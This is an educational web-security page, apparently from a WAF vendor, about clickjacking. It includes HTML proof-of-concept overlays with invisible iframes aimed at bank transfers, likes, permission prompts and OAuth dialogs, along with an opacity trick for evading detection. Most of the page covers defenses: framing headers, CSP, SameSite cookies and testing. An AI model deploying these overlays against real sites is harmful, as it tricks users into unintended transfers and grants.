Clickjacking (UI Redress Attack)
MEDIUM-HIGH SEVERITY UI REDRESS ATTACK OWASP TOP 10 RELATED
Overview
Clickjacking (also known as UI Redress Attack) is a web security vulnerability where an attacker tricks a user into clicking on something different from what they perceive, potentially causing the user to perform unintended actions.
In One Sentence
Making you think you're clicking "Watch Cute Cats" when you're actually clicking "Transfer $10,000" on a hidden bank website underneath.
How It Works
The attacker creates a webpage with invisible or disguised elements
Places the legitimate target website in a transparent iframe over the attacker's page
When users think they're clicking on the attacker's page, they're actually clicking on the hidden iframe
The click registers on the legitimate site, performing actions without the user's knowledge
Important Context
The attack works because the legitimate site is actually loaded in the user's browser with their authenticated session, so actions performed are legitimate from the server's perspective.
Simple Explanation
Real-World Analogy
Imagine you're looking at a poster advertising a free concert. You reach out to click the "Get Free Tickets" button. But what you don't know is there's an invisible glass sheet in front of the poster with a different button that says "Donate $1,000" positioned exactly where you're about to click.
You think you're getting free concert tickets, but you're actually donating $1,000!
Visual Representation
What You See
┌─────────────────────────┐
│ WIN FREE iPHONE! │
│ │
│ [Click Here to Win] │ ← You see this
│ │
└─────────────────────────┘
What's Actually There
┌─────────────────────────┐
│ WIN FREE iPHONE! │ ← Fake/Visible layer
│ │
│ [Click Here to Win] │
│ │
└─────────────────────────┘
↓ Hidden underneath (invisible iframe)
┌─────────────────────────┐
│ Your Bank │ ← Real/Invisible layer
│ │
│ [Transfer $5,000] │ ← What you actually click!
│ │
└─────────────────────────┘
The Vulnerability
Basic Attack Example
html<!DOCTYPE html>
<html>
<head>
<title>Win a Free iPhone!</title>
<style>
#target_website {
position: absolute;
top: -300px;
left: -300px;
opacity: 0.0;
z-index: 2;
}
#decoy_button {
position: absolute;
top: 300px;
left: 300px;
z-index: 1;
}
</style>
</head>
<body>
<h1>Click Below to Win a Free iPhone!</h1>
<!-- Invisible iframe containing legitimate site -->
<iframe id="target_website"
src="https://vulnerable-bank.com/transfer"
width="500" height="500">
</iframe>
<!-- Visible decoy button -->
<button id="decoy_button">
Click Here to Claim Your Prize!
</button>
</body>
</html>
htmlWin a Free iPhone!
[Click Here to Claim Your Prize!] ← Visible button
html[Invisible Bank Transfer Form] ← Actually clicking here
Transfer to: [email protected]
Amount: $1000
[Confirm Transfer] ← This is what gets clicked
Critical Risk
When the user clicks the visible "prize" button, they're actually clicking the "Confirm Transfer" button on the hidden banking site, transferring money to the attacker.
Attack Flow
User clicks on malicious link: evil.com/free-prize
Browser renders:
Layer 1 (z-index: 1): Decoy content (visible)
Layer 2 (z-index: 2): Victim iframe (opacity: 0, invisible)
Your click at coordinates (250, 220): ↓ Hits Layer 2 (iframe) first (higher z-index)
Click registered on legitimate site's "Confirm" button inside iframe
Transaction/action executes without user's knowledge
Attack Scenarios
Scenario 1: Banking Fraud
html<style>
#bank-iframe {
position: absolute;
opacity: 0;
width: 1000px;
height: 800px;
top: -400px;
left: -200px;
}
</style>
<!-- Decoy content -->
<h1>WIN $1,000!</h1>
<button style="position: absolute; top: 450px; left: 250px;">
CLICK TO CLAIM
</button>
<!-- Invisible bank iframe (if user already logged in) -->
<iframe id="bank-iframe" src="https://bank.com/transfer">
<!-- Hidden form with pre-filled data:
To: Attacker's account
Amount: $5,000
[Confirm Transfer] button positioned at (450, 250) -->
</iframe>
textUser clicks "CLICK TO CLAIM" at (450, 250)
↓
Actually clicks hidden "Confirm Transfer" at (450, 250)
↓
$5,000 transferred to attacker!
Protection Note
Most modern banks now implement X-Frame-Options to prevent this.
Scenario 2: Social Media Likejacking
Make victim like/follow attacker's page without consent
html<iframe src="https://social-network.com/pages/attacker-page"
style="opacity:0.001; position:absolute; z-index:10;">
</iframe>
<div style="position:relative; z-index:1;">
<h1>Take Our Quiz!</h1>
<button>Start Quiz</button> <!-- Actually clicking "Like" -->
</div>
Victim unknowingly likes attacker's page, giving attacker legitimacy and reach
Scenario 3: Permission Hijacking
Attacker's Goal
Trick user into granting webcam/microphone permissions
Attack Setup
html<iframe src="https://legitimate-site.com/enable-features"
style="opacity:0; position:fixed; top:0; left:0; width:100%; height:100%;">
</iframe>
<div style="position:relative;">
<h1>Download Free Game</h1>
<button style="padding:20px;">Download Now</button>
</div>
Result
User clicks "Download Now" but actually clicks "Allow" on browser permission prompt in hidden iframe
Advanced Techniques
1. Drag-and-Drop Clickjacking
Tricks users into dragging content from a visible element into an invisible iframe
html<div draggable="true" ondragstart="drag(event)">
Drag me to the target!
</div>
<iframe id="target"
src="https://email-service.com/compose"
style="opacity:0; position:absolute;">
</iframe>
javascriptfunction drag(event) {
// Capture sensitive data
event.dataTransfer.setData("text", getSensitiveData());
}
User drags visible content but actually drops sensitive data into attacker-controlled form
2. Double Clickjacking
Requires two clicks to bypass confirmation dialogs
html<!-- First click: Open dialog -->
<iframe src="https://site.com/delete-account" style="opacity:0;">
</iframe>
<!-- Second click: Confirm dialog -->
<iframe src="https://site.com/confirm-delete" style="opacity:0;">
</iframe>
<div>
<button>Click</button>
<button>Confirm</button>
</div>
Implement delays between confirmation steps or require additional verification
3. Partial Transparency Attack
Uses very low opacity instead of complete invisibility to evade some detection methods
html<iframe src="https://target.com"
style="opacity:0.001; /* Nearly invisible but not zero */
filter: alpha(opacity=0.1);"> /* IE fallback */
</iframe>
Detection Evasion
Setting opacity to 0.001 instead of 0 can bypass naive detection scripts that only check for opacity:0
4. Touch-Based Clickjacking (Mobile)
Mobile-specific attacks exploiting touch interfaces (Tap-jacking)
html<!-- Mobile website -->
<div style="position: relative;">
<h1>CLAIM YOUR FREE GIFT!</h1>
<button>TAP HERE</button>
<!-- Invisible iframe with "Authorize App" button -->
<iframe src="https://mobile.facebook.com/dialog/oauth..."
style="position: absolute; opacity: 0;">
</iframe>
</div>
User taps "CLAIM FREE GIFT" but actually taps "Authorize App", granting attacker access to their account
Real-World Examples
Case Study 1: Adobe Flash Settings (2008)
Tricking users into enabling webcam/microphone without consent
html<style>
#flash-settings {
position: absolute;
opacity: 0.01;
}
</style>
<h1>Watch This Amazing Video!</h1>
<button>Play Video</button>
<!-- Adobe Flash settings dialog (invisible) -->
<object id="flash-settings">
<!-- Flash security settings with "Allow" button
positioned exactly where "Play Video" appears -->
</object>
text1. User clicks "Play Video"
2. Actually clicks "Allow" on Flash settings
3. Webcam/microphone access enabled
4. Attacker can spy on user
Adobe added clickjacking protections to Flash Player permission dialogs
Case Study 2: Twitter "Don't Click" Worm (2009)
Viral clickjacking spreading through Twitter
1. User sees tweet: "Don't Click: http://bit.ly/xxxxxx"
2. Curious user clicks link
3. Page shows: "Don't click this button!"
4. Invisible Twitter iframe overlay
5. User clicks "Don't Click" button
6. Actually clicks Twitter "Retweet" button (hidden)
7. Tweet spreads to user's followers
8. Spreads virally across Twitter
Hundreds of thousands of retweets before Twitter blocked it
Case Study 3: Facebook Likejacking (2010-2011)
Mass "Like" fraud for viral pages
html<!-- Viral page: "OMG! Checkout Who Died!" -->
<iframe src="https://facebook.com/plugins/like.php?href=scam-page"
style="opacity: 0; position: absolute;">
</iframe>
<button>See Who Died</button>
- User clicks "See Who Died" → Actually clicks invisible "Like" button
- Page appears in their timeline
- Friends see it and click
- Spreads exponentially
- Millions of fraudulent "Likes"
- Scam pages gaining huge audiences
- Used for phishing and malware distribution
Facebook implemented X-Frame-Options header
Prevention & Mitigation
1. X-Frame-Options Header (Primary Defense)
apache# Deny all framing
Header always set X-Frame-Options "DENY"
# Or allow only same origin
Header always set X-Frame-Options "SAMEORIGIN"
# Or allow specific domain (deprecated)
Header always set X-Frame-Options "ALLOW-FROM https://trusted-site.com"
nginx# Deny all framing
add_header X-Frame-Options "DENY" always;
# Or allow only same origin
add_header X-Frame-Options "SAMEORIGIN" always;
javascriptconst helmet = require('helmet');
// Deny all framing
app.use(helmet.frameguard({ action: 'deny' }));
// Or allow same origin only
app.use(helmet.frameguard({ action: 'sameorigin' }));
php<?php
// Deny all framing
header('X-Frame-Options: DENY');
// Or allow only same origin
header('X-Frame-Options: SAMEORIGIN');
?>
python# settings.py
X_FRAME_OPTIONS = 'DENY'
# or
X_FRAME_OPTIONS = 'SAMEORIGIN'
ruby# config/application.rb
config.action_dispatch.default_headers = {
'X-Frame-Options' => 'SAMEORIGIN'
}
javaresponse.addHeader("X-Frame-Options", "DENY");
// or
response.addHeader("X-Frame-Options", "SAMEORIGIN");
csharp// Web.config
<system.webServer>
<httpProtocol>
<customHeaders>
<add name="X-Frame-Options" value="DENY" />
</customHeaders>
</httpProtocol>
</system.webServer>
Best Practice
X-Frame-Options: SAMEORIGIN is recommended for most applications that don't need to be framed by external sites.
- DENY - Cannot be framed by any site (most secure)
- SAMEORIGIN - Can only be framed by pages from same origin
- ALLOW-FROM uri - (Deprecated) Allowed specific origin only
2. Content Security Policy (Modern Approach)
apache# Most restrictive - no framing allowed
Header always set Content-Security-Policy "frame-ancestors 'none'"
# Allow same origin only
Header always set Content-Security-Policy "frame-ancestors 'self'"
# Allow specific domains
Header always set Content-Security-Policy "frame-ancestors 'self' https://trusted-site.com"
nginxadd_header Content-Security-Policy "frame-ancestors 'none'" always;
# or
add_header Content-Security-Policy "frame-ancestors 'self'" always;
javascriptconst helmet = require('helmet');
app.use(helmet.contentSecurityPolicy({
directives: {
frameAncestors: ["'none'"] // Most secure
// or: frameAncestors: ["'self'"]
// or: frameAncestors: ["'self'", "https://trusted-site.com"]
}
}));
php<?php
header("Content-Security-Policy: frame-ancestors 'none'");
// or
header("Content-Security-Policy: frame-ancestors 'self'");
?>
python# settings.py
CSP_FRAME_ANCESTORS = ["'none'"]
# or
CSP_FRAME_ANCESTORS = ["'self'"]
# or
CSP_FRAME_ANCESTORS = ["'self'", "https://trusted-site.com"]
Important Note
CSP frame-ancestors is more flexible and modern than X-Frame-Options. Use both for maximum compatibility.
- More flexible (supports multiple domains)
- Standardized and future-proof
- Better browser support for complex scenarios
- Granular control over framing contexts
python@app.after_request
def set_frame_protection(response):
# Legacy browsers
response.headers['X-Frame-Options'] = 'DENY'
# Modern browsers
response.headers['Content-Security-Policy'] = "frame-ancestors 'none'"
return response
3. Client-Side Frame Busting (Backup Only)
Critical Warning
Client-side frame busting alone is NOT sufficient as it can be bypassed. Always use server-side headers as primary defense.
javascript// Detect if page is in iframe
if (window.top !== window.self) {
// Break out of iframe
window.top.location = window.self.location;
}
javascript// More robust version
(function() {
if (window.top !== window.self) {
// Try to break out
try {
if (window.top.location.hostname !== window.self.location.hostname) {
throw new Error('Clickjacking detected');
}
} catch (e) {
// If we can't access parent, we're definitely being framed
window.top.location = window.self.location;
}
}
})();
html<style>
/* Hide page until frame check completes */
body {
display: none;
}
</style>
<script>
// Frame-busting code
if (self !== top) {
// Try to break out
top.location = self.location;
// If that fails, prevent rendering
setTimeout(function() {
document.body.style.display = 'none';
}, 0);
} else {
// Not framed, show page
document.body.style.display = 'block';
}
</script>
Attackers can bypass frame-busting:
html<!-- Attacker disables JavaScript in iframe -->
<iframe src="https://victim.com" sandbox="allow-forms">
</iframe>
<!-- Victim's frame-busting JavaScript won't run! -->
4. SameSite Cookie Attribute
javascriptapp.use(session({
secret: 'your-secret',
cookie: {
sameSite: 'strict', // Prevents cookie from being sent in cross-site requests
secure: true, // HTTPS only
httpOnly: true // Prevents JavaScript access
}
}));
php<?php
session_set_cookie_params([
'samesite' => 'Strict',
'secure' => true,
'httponly' => true
]);
setcookie('session_id', $value, [
'samesite' => 'Strict',
'secure' => true,
'httponly' => true
]);
?>
python# settings.py
SESSION_COOKIE_SAMESITE = 'Strict'
SESSION_COOKIE_SECURE = True
SESSION_COOKIE_HTTPONLY = True
CSRF_COOKIE_SAMESITE = 'Strict'
CSRF_COOKIE_SECURE = True
javaCookie cookie = new Cookie("sessionId", sessionId);
cookie.setSecure(true);
cookie.setHttpOnly(true);
cookie.setAttribute("SameSite", "Strict");
response.addCookie(cookie);
- Strict - Cookie never sent in cross-site requests (including iframes)
- Lax - Cookie sent in top-level navigation, not in iframes
- None - Cookie sent everywhere (requires Secure flag)
html<!-- Attacker's clickjacking page -->
<iframe src="https://bank.com/transfer"></iframe>
<!-- With SameSite=Strict:
Bank's session cookie NOT sent in iframe
User appears logged out in iframe
Transfer button doesn't work
Attack fails! ✓ -->
5. User Interaction Confirmation
python@app.route('/transfer', methods=['POST'])
def transfer_money():
# Check if request is from iframe
if request.headers.get('Sec-Fetch-Dest') == 'iframe':
return 'Transfers cannot be performed in frames', 403
# For sensitive actions, require re-authentication
if is_sensitive_action():
if not recently_authenticated(session):
return redirect('/reauth?next=/transfer')
# Require CAPTCHA or additional confirmation
if not verify_captcha(request.form['captcha']):
return 'CAPTCHA required', 400
# Proceed with transfer
perform_transfer()
return 'Transfer successful'
javascript// Require two separate user interactions
async function deleteSensitiveData() {
// First click: Show confirmation modal
const confirmed = await showConfirmationModal({
title: "Delete Account?",
message: "This action cannot be undone",
requirePasswordRetype: true
});
if (confirmed) {
// Second interaction: Password entry
const password = await promptForPassword();
if (verifyPassword(password)) {
await performDeletion();
}
}
}
html<!-- Transfer confirmation page -->
<form action="/transfer" method="POST">
<p>Transfer $5,000 to account 12345?</p>
<!-- CAPTCHA prevents clickjacking -->
<div class="g-recaptcha" data-sitekey="..."></div>
<button type="submit">Confirm Transfer</button>
</form>
<!-- Even if attacker successfully clickjacks the button,
they can't solve the CAPTCHA programmatically -->
Testing for Clickjacking
Manual Testing
html<!DOCTYPE html>
<html>
<head>
<title>Clickjacking Test</title>
</head>
<body>
<h1>Clickjacking Vulnerability Test</h1>
<p>Testing: <span id="target-url"></span></p>
<iframe id="test-frame"
src="https://target-site.com"
width="800"
height="600"
style="border: 2px solid red;">
</iframe>
<script>
document.getElementById('target-url').textContent =
document.getElementById('test-frame').src;
</script>
</body>
</html>
- Vulnerable: Page loads inside iframe ✗
- Protected: Browser blocks iframe or shows blank frame ✓
Testing with cURL
bashcurl -I https://target-site.com | grep -i "x-frame-options"
# Expected for protected site:
# X-Frame-Options: DENY
# or
# X-Frame-Options: SAMEORIGIN
bashcurl -I https://target-site.com | grep -i "content-security-policy"
# Expected for protected site:
# Content-Security-Policy: frame-ancestors 'none'
# or
# Content-Security-Policy: frame-ancestors 'self'
bashcurl -I https://target-site.com
# Look for both:
# X-Frame-Options: SAMEORIGIN
# Content-Security-Policy: frame-ancestors 'self'
Browser Developer Tools
Press F12 or right-click → Inspect
Click on the Network tab in developer tools
Navigate to the target website
Click on the main document request and look for:
X-Frame-OptionsContent-Security-Policy
javascriptif (window.top === window.self) {
console.log("Not framed - test with iframe");
} else {
console.log("Currently in frame");
}
Automated Testing Tools
OWASP ZAP
bash# Install OWASP ZAP
# Run passive scan
zap-cli quick-scan https://target-site.com
# Check for clickjacking vulnerabilities in report
Burp Suite
- Configure browser proxy
- Browse target site
- Check Proxy → HTTP History
- Look for missing X-Frame-Options headers
Nikto
bashnikto -h https://target-site.com -Tuning 7
# Output will show if X-Frame-Options is missing
Online Tools
- securityheaders.com - Checks for clickjacking protection headers
- clickjacker.io - Automated clickjacking test
Common Mistakes
1. Only Using Client-Side Protection
Wrong Approach
javascript// This alone is NOT sufficient
if (window.top !== window.self) {
window.top.location = window.self.location;
}
Correct Approach
apache# Always use server-side headers first
Header always set X-Frame-Options "SAMEORIGIN"
Header always set Content-Security-Policy "frame-ancestors 'self'"
Then add client-side as additional layer.
2. Inconsistent Header Deployment
Wrong
apache# Only set on homepage
<Location "/">
Header set X-Frame-Options "DENY"
</Location>
Correct
apache# Set on ALL responses (note: "always")
Header always set X-Frame-Options "DENY"
3. Using ALLOW-FROM with Multiple Domains
Wrong
apache# ALLOW-FROM only supports ONE domain
Header set X-Frame-Options "ALLOW-FROM https://site1.com https://site2.com"
Correct
apache# Use CSP for multiple domains
Header set Content-Security-Policy "frame-ancestors https://site1.com https://site2.com"
4. Forgetting Error Pages
Common Issue
Security headers missing on 404, 500, and other error pages
Solution
apache# Use "always" to include error responses
Header always set X-Frame-Options "SAMEORIGIN"
nginx# Headers apply to all responses by default
add_header X-Frame-Options "SAMEORIGIN" always;
Advanced Defense Strategies
1. UI Confirmation Patterns
javascript// Show clear visual feedback for sensitive actions
function showSecurityConfirmation(action) {
// Dim background
document.body.classList.add('security-modal-active');
// Show prominent, unobscurable confirmation
const modal = createModal({
title: `Confirm ${action}`,
style: 'security-critical',
position: 'center-fixed',
zIndex: 999999 // High z-index
});
return modal.getResponse();
}
css/* Add visible border around sensitive action areas */
.sensitive-action {
border: 3px solid #ff0000;
padding: 20px;
background: #fff;
box-shadow: 0 0 20px rgba(255, 0, 0, 0.5);
}
.sensitive-action::before {
content: "🔒 Security-Sensitive Area";
display: block;
color: #ff0000;
font-weight: bold;
margin-bottom: 10px;
}
2. Mouse Movement Analysis
javascript// Detect suspicious click patterns that might indicate clickjacking
let clickTracker = {
lastMouseMove: null,
clickHistory: []
};
document.addEventListener('mousemove', (e) => {
clickTracker.lastMouseMove = Date.now();
});
document.addEventListener('click', (e) => {
const timeSinceMove = Date.now() - clickTracker.lastMouseMove;
// Suspicious: Click without recent mouse movement
if (timeSinceMove > 100) {
console.warn('Suspicious click pattern detected');
// Require additional verification
e.preventDefault();
showSecurityChallenge();
}
clickTracker.clickHistory.push({
time: Date.now(),
x: e.clientX,
y: e.clientY
});
});
javascript// Detect if element is being obscured
function isElementObscured(element) {
const rect = element.getBoundingClientRect();
const centerX = rect.left + rect.width / 2;
const centerY = rect.top + rect.height / 2;
const topElement = document.elementFromPoint(centerX, centerY);
return topElement !== element && !element.contains(topElement);
}
// Check before processing sensitive action
sensitiveButton.addEventListener('click', (e) => {
if (isElementObscured(sensitiveButton)) {
e.preventDefault();
alert('Security Error: Button is obscured');
}
});
Complete Security Checklist
Server Configuration
- [ ] Set
X-Frame-Optionsheader toDENYorSAMEORIGIN - [ ] Set
Content-Security-Policy: frame-ancestorsdirective - [ ] Configure both headers for maximum browser compatibility
- [ ] Test headers are present in all responses (including error pages)
- [ ] Set
SameSite=StrictorSameSite=Laxon session cookies - [ ] Enable HTTPS for all pages (
Securecookie flag)
Application Code
- [ ] Implement frame-busting JavaScript as secondary defense
- [ ] Require password re-authentication for sensitive operations
- [ ] Use CSRF tokens on all state-changing requests
- [ ] Validate
OriginandRefererheaders server-side - [ ] Implement rate limiting on sensitive endpoints
- [ ] Log and monitor unusual framing attempts
Testing & Validation
- [ ] Test with manual HTML iframe embedding
- [ ] Verify headers with cURL/browser tools
- [ ] Test in multiple browsers (Chrome, Firefox, Safari, Edge)
- [ ] Automated scanning with OWASP ZAP or Burp Suite
- [ ] Penetration testing for clickjacking vulnerabilities
- [ ] Regression testing after code deployments
User Protection
- [ ] Educate users about suspicious links/pages
- [ ] Implement visual security indicators
- [ ] Use multi-factor authentication for sensitive operations
- [ ] Display action confirmations clearly
- [ ] Show transaction summaries before final confirmation
Key Takeaways
Primary Defenses
- Always use
X-Frame-Options: SAMEORIGINorDENY- Prevents page from being framed - Implement
Content-Security-Policy: frame-ancestors- Modern, flexible protection - Use both headers - Maximum browser compatibility
- Set
SameSitecookie attribute - Prevents cookies in cross-site contexts
Critical Points
- Client-side frame-busting alone is NOT sufficient (can be bypassed)
- Server-side headers are the primary defense
- Test on ALL pages including error pages
- Require re-authentication for sensitive operations
Additional Layers
- User education about phishing tactics
- Visual security indicators for sensitive actions
- Multi-factor authentication
- Rate limiting on critical endpoints
- Monitoring and alerting for suspicious activity
References & Resources
Official Documentation
- OWASP Clickjacking Defense Cheat Sheet
- MDN: X-Frame-Options
- MDN: CSP frame-ancestors
- OWASP Testing Guide - Clickjacking
Testing Tools
Learning Resources
- PortSwigger Web Security Academy - Clickjacking
- HackTricks - Clickjacking
- PentesterLab - Clickjacking Exercises
Layerd AI Protection
Layerd AI Cloud WAF prevents clickjacking:
- Automatic header injection - Adds X-Frame-Options and CSP
- Frame detection - Identifies suspicious iframe patterns
- Real-time protection - Blocks malicious framing attempts
- Zero configuration - Works out of the box
Learn more about Layerd AI Protection →
Remember: Clickjacking is a UI redress attack that tricks users into performing unintended actions. Always implement server-side header protection (X-Frame-Options and CSP frame-ancestors) as your primary defense, supplemented with client-side protections and user education.
Stay protected by implementing multiple layers of defense!
Last updated: November 2025